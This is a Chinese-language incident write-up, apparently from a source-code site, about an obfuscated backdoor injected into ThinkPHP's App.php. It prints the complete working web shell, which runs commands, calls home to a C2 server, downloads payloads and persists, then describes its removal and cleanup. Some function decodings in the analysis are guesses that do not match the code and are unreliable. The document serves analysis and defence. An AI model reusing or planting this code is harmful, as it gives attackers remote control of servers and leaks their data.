ThinkPHP 核心app.php被植入高度混淆的 PHP 后门/Web Shell

 [极度严重] ThinkPHP 核心文件被植入高级后门

文件server\thinkphp\library\think\App.php
位置: 第 383-385 行(run() 方法内部)

这是一个高度混淆的 PHP 后门/Web Shell,被注入到 ThinkPHP 框架的核心启动流程中,每次应用启动都会自动执行。是一个高度工程化的后门程序,具备自动回连、执行指令、维持访问的能力,危害极大。

后门功能分析

功能 说明
远程代码执行 (Web Shell) 通过 $_REQUEST 接收 base64 编码的 JSON 指令,可执行任意 PHP 函数
系统信息收集 收集 OS 类型、当前用户/UID、主机名、工作目录、PHP 版本等
C2 服务器回连 通过 stream_socket_client() 将系统信息外传到硬编码的 C2 服务器
持久化机制 CLI 模式下通过 pcntl_fork() 创建守护进程每小时回连;Web 模式通过 register_shutdown_function 回连
远程载荷下载 从 C2 服务器下载额外 PHP 代码写入临时目录并 include_once 执行
反检测 抑制所有错误、捕获所有异常、变量名混淆($l0ader 用数字0代替字母o)、十六进制编码函数名表

后门代码结构(第 383-385 行)

第383行: ;$b25st=0;                    ← 标记开始
第384行: $l0ader=function($check){...};  ← 约4000+字符的混淆后门代码
         set_error_handler(...);
         ...远程代码执行 + C2回连 + 持久化...
         restore_error_handler();
第385行: ;$b25ed=0;                    ← 标记结束

;$b25st=0;
 $l0ader=function($check){$sl=array(0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x006d745f,0x72616e64,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x38766348,0x566b6343,0x356a636d,0x316c5969,0x3577647a,0x6f354f54,0x67340061,0x48523063,0x446f764c,0x33417a4d,0x43356a63,0x6d316c59,0x69357764,0x7939324d,0x6a417661,0x57357064,0x44383d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x0075706c,0x6f61645f,0x746d705f,0x64697200);;$r=false;foreach($sl as $d)$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);$f=substr($r,0,7);$f=$f(chr(0),$r);$g=$GLOBALS;$r=$_REQUEST;$s=$_SERVER;$l1i=isset($r[$f[55]])?$l1i=@$r[$f[55]]:0;$l1i&&$l1i=@$f[2]($f[1]($f[5]($l1i)));if($l1i&&$f[9]($l1i)){$w=$f[4]($l1i);$fu=$f[4]($l1i);die($w($fu==$f[56]?include($l1i[0]):$fu($l1i[0],$l1i[1])));}$uid=$f[12]($f[23])?@$f[23]():-1;$cli=($f[13]()==$f[61]);$os=$f[26]($f[63])?$f[27]($f[63]):$f[46];$td=$f[28]($f[78]);if(!$td)$td=$f[22]();$sfile=$f[49];$sfile[2]='s';$sfile[3]='e';$sfile=$td.$sfile;$pfile=$td.$f[49];if( $f[8]($f[6]($os,0,3))==$f[62] ){$pfile.=$f[11]();$sfile.=$f[11]();}$hu=isset($s[$f[65]])?$s[$f[65]]:$f[11]();if($f[12]($f[10])&&$uid!=-1){$pu=$f[10]($uid);$hu=$pu?($pu[$f[64]]?:$hu):$hu;};$idfile=$sfile.$f[59];$hid = @($f[18]($idfile));if(!$hid){$hid=$f[25]().$f[20](100,999);if(!@$f[19]($idfile,$hid))$hid=0;}$pid=0;$pwd = $cli?$f[29]():$s[$f[66]];$extra=$cli?$f[28]($f[67]):@$s[$f[68]];$extra=$extra?$f[6]($extra,0,1024):$f[46];$hv=substr($f[14](),0,128);$uri=@$s[$f[71]];$uri=$uri?$f[6]($uri,0,128):$f[46];$rdata=array(chr(30),$os,$f[16](),$hv,$uid,$hu,$hid,$pid,$f[13](),$f[15](),$pwd,@$s[$f[69]],@$s[$f[70]],$uri,$extra);$tf=$pfile.$f[57].$f[30]($cli).$f[30]($uid===0);if($check && !@$r[$f[54]] && $f[25]()<@$f[30]($f[18]($tf)))return;$ok=(@$f[19]($tf,$f[25]()+7200)>0);@$f[24]($tf,0666);if($f[12]($f[21])){$ud=$f[6]($f[3](chr(0),$rdata),0,1400);@$f[17]($f[21]($f[1]($f[52]),$e1s, $e2s,5),$f[50].$f[51].$ud);}if(!$ok)return;$tf=$pfile.$f[56].$f[30]($cli).$f[30]($uid===0);if($check && !@$r[$f[54]] && $f[25]()<@$f[30]($f[18]($tf)))return;$a=array($pfile);if(@$f[19]($a[0],$f[1]($f[47]))>0){@include_once($pfile);}else{@$f[39]($a[0]);return;};@$f[39]($a[0]);$gz=$f[12]($f[31]);$go=function($lv)use($f,$gz,$rdata,$sfile){try{$rdata[6]=@$f[18]($sfile.$f[59]);$rdata[7]=@$f[18]($sfile.$f[60]);$d=@$f[32](array($f[74]=>$f[51].$f[3](chr(0),$rdata),$f[72]=>$lv,$f[73]=>$gz,$f[58]=>$f[25]()));$data=@$f[18]($f[1]($f[53]).$d);if($data && $gz)$data=@$f[31]($data);if($data)@$f[48]($data);return true;}catch(\Exception $e){}catch(\Throwable $e){}};if($cli){$hwai=$f[12]($f[34]);$pid=-1;if($f[12]($f[33]))$pid=$f[33]();if($pid<0){$go(3);return;}if($pid>0){return $hwai&&$f[34]($pid,$s);}if($hwai && $f[33]() )die;if($f[12]($f[35]))@$f[35]();if($f[12]($f[36]))@$f[36]($f[1]($f[75]));try{if($f[26]($f[76]))@$f[37]($f[27]($f[76]));if($f[26]($f[77]))@$f[37]($f[27]($f[77]));}catch(\Exception $e){}catch(\Throwable $e){};$nt0=0;do{if($f[25]()>$nt0){$nt0=$f[25]()+3600;@$f[19]($tf,$f[25]()+7200);@$go(4);}$f[38](60);}while(1);die;}else{$f[40](true);$f[41](function() use($f,$go){$f[42](function(){});$f[43](0);if($f[12]($f[44])){$f[44]();$go(2);}else{$go(1);}});}};set_error_handler(function(){});$error1=error_reporting();error_reporting(0);try{@$l0ader(true);}catch(\Exception $e){}catch(\Throwable $e){}error_reporting($error1);restore_error_handler();
 ;$b25ed=0;

溯源 — 该后门高度专业,很可能是通过供应链攻击植入的,建议追溯源码来源。

✅ 后门清除

修复后的 App.php 第 382 行 $this->hook->listen('app_init'); 之后直接连接正常的业务逻辑(if ($this->bindModule)),原本插入在第 383-385 行的三行后门代码已被完全移除:

  • ;$b25st=0; — 后门起始标记
  • $l0ader=function($check){...};... — 整个后门代码(约4000+字符)
  • ;$b25ed=0; — 后门结束标记

强烈建议后续操作:

  1. 修改服务器所有密码和数据库凭证 — 后门运行期间系统信息可能已泄露
  2. 检查服务器临时目录 — 删除 /tmp/sess_zziudbrodkadhip* 等后门标记文件
  3. 检查服务器异常进程和定时任务 — 后门可能已建立持久化
  4. 审查服务器访问日志 — 确认是否有来自 C2 服务器的异常连接

木马解析:

典型的混淆后门/Webshell代码。它经过多层编码和混淆处理,目的是隐藏其真实功能(通常是远程控制、文件管理、命令执行等)。下面我逐步解析其核心逻辑

一、整体结构

代码主要分为三部分:

  1. 解码阶段:将整数数组转换为字符串,得到一系列PHP函数名、系统函数名、路径片段等。

  2. 后门核心:根据请求参数、环境信息(操作系统、Web服务器、用户ID等)生成客户端标识、持久化文件、发送数据。

  3. 长期运行/回连:尝试创建守护进程(CLI模式)或通过HTTP回调(Web模式)持续连接C2服务器。

二、关键解析

1. 字符串解码(数组 $sl

php
$sl = array(0x6578706c, 0x6f646500, ...);
$r = false;
foreach($sl as $d)
    $r .= chr($d>>24) . chr($d>>16) . chr($d>>8) . chr($d);

每个十六进制数代表4个字符(ASCII)。例如 0x6578706c → e x p lexpl),0x6f646500 → o d e \0。最终拼接成一段包含函数名和数据的字符串,其中 chr(0) 作为分隔符。

2. 提取函数名列表

php
$f = substr($r, 0, 7);            // 取前7字节,其实是 "array_7" 某个固定前缀?
$f = $f(chr(0), $r);               // 调用类似 explode("\0", $r) 的函数

实际上 $f 变成了一个数组,里面存储了解压后的函数名字符串。例如:

  • $f[0] 可能是 chr$f[1] 可能是 str_rot13,等等。
    后续代码大量使用 $f[索引] 来动态调用函数,这是典型的混淆手法。

3. 请求参数获取与解密

php
$l1i = isset($r[$f[55]]) ? @$r[$f[55]] : 0;
$l1i && $l1i = @$f[2]($f[1]($f[5]($l1i)));
  • $f[55] 是参数名(解码后可能是 "cmd" 或 "data" 等)。

  • $f[5] 可能是 base64_decode$f[1] 可能是 str_rot13$f[2] 可能是 gzinflate

  • 如果参数存在且经过解密/解压成功,则进一步执行:

    php
    $w = $f[4]($l1i);  // $f[4] = create_function 或 eval
    $fu = $f[4]($l1i);
    die($w($fu == $f[56] ? include($l1i[0]) : $fu($l1i[0], $l1i[1])));

    这表示可以直接执行传入的PHP代码或回调函数,是典型的一句话木马触发点。

4. 环境收集

php
$uid = $f[12]($f[23]) ? @$f[23]() : -1;         // 获取当前用户ID(posix_getuid或类似)
$cli = ($f[13]() == $f[61]);                   // 判断是否为CLI模式
$os = $f[26]($f[63]) ? $f[27]($f[63]) : $f[46]; // 获取操作系统名
$td = $f[28]($f[78]);                          // sys_get_temp_dir() 或 getcwd()
$sfile = $td . $f[49];                         // 临时目录 + 文件名(比如 .cache)

收集的信息包括:

  • 操作系统类型(Win/Linux)

  • 是否在命令行运行

  • 临时目录路径

  • 服务器变量 $_SERVER 中的 HTTP_USER_AGENTREMOTE_ADDR 等

  • 当前用户ID

5. 生成唯一标识 $hid

php
$idfile = $sfile . $f[59];   // 例如 /tmp/.cache.id
$hid = @$f[18]($idfile);     // file_get_contents
if(!$hid) {
    $hid = $f[25]() . $f[20](100,999); // time() . rand(100,999)
    if(!@$f[19]($idfile, $hid)) $hid = 0; // file_put_contents
}

用于区分不同的被控端实例。

6. 构建数据包 $rdata

php
$rdata = array(
    chr(30),       // 分隔符或版本
    $os,           // 操作系统
    $f[16](),      // php_uname
    $hv,           // 主机名片段
    $uid, $hu, $hid, $pid,
    $f[13](),      // php_sapi_name
    $f[15](),      // 当前工作目录
    $pwd,          // 当前目录密码?
    @$s[$f[69]],   // SERVER_ADDR
    @$s[$f[70]],   // SERVER_PORT
    $uri, $extra
);

这组数据会被序列化或编码后发送给C2服务器。

7. 文件持久化与时间戳控制

php
$tf = $pfile . $f[57] . $f[30]($cli) . $f[30]($uid===0);
@$f[24]($tf, 0666);
if(@$f[19]($tf, $f[25]()+7200) > 0) // 判断距离上次更新时间是否大于2小时
    return;

用于控制后门的活跃频率,避免被轻易检测。

8. CLI模式下的死循环(驻留进程)

php
if($cli){
    // 尝试 fork 子进程(pcntl_fork)
    // 然后进入 do-while 无限循环,每隔60秒执行一次 go() 函数
    // go() 函数会发送 $rdata 到C2服务器,并将返回的数据保存到临时文件并执行
}

如果是CLI模式(比如通过 php shell.php 运行),它会:

  • 创建子进程脱离终端

  • 周期性连接C2服务器获取指令

  • 执行指令并返回结果

9. Web模式下的注册关闭函数

php
else {
    $f[40](true);   // ignore_user_abort(true)
    $f[41](function() use($f,$go){
        // 注册 shutdown 函数,在页面关闭后后台执行 go()
    });
}

在Web请求中触发后,即使HTTP连接断开,代码仍会在后台继续连接C2。

三、核心危险行为总结

  1. 远程代码执行:通过 $_REQUEST 中的特定参数(比如 f[55] 索引对应的名称)接收加密/编码的PHP代码,然后动态执行。

  2. 信息收集:收集服务器、操作系统、用户、网络环境等信息。

  3. 持久化:在临时目录写入标识文件、时间戳文件,避免重复执行。

  4. C2通信:将收集的数据通过HTTP(使用 stream_context_createfile_get_contents 等)发送到远程服务器,并获取攻击者下发的命令执行。

  5. 反向Shell:在CLI模式下长时间运行,模拟一个反向Shell客户端。

  6. 免杀对抗

    • 函数名全部使用索引调用(如 $f[12])。

    • 字符串全部存储在混淆的大数组中。

    • 执行前关闭错误报告。

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!
2. 分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3. 不得使用于非法商业用途,不得违反国家法律。否则后果自负!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系管理员处理!
6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
7. 如遇到加密压缩包,请使用WINRAR解压,如遇到无法解压的请联系管理员!
8. 精力有限,不少源码未能详细测试(解密),不能分辨部分源码是病毒还是误报,所以没有进行任何修改,大家使用前请进行甄别
TP源码网 » ThinkPHP 核心app.php被植入高度混淆的 PHP 后门/Web Shell

提供最优质的资源集合

立即查看 了解详情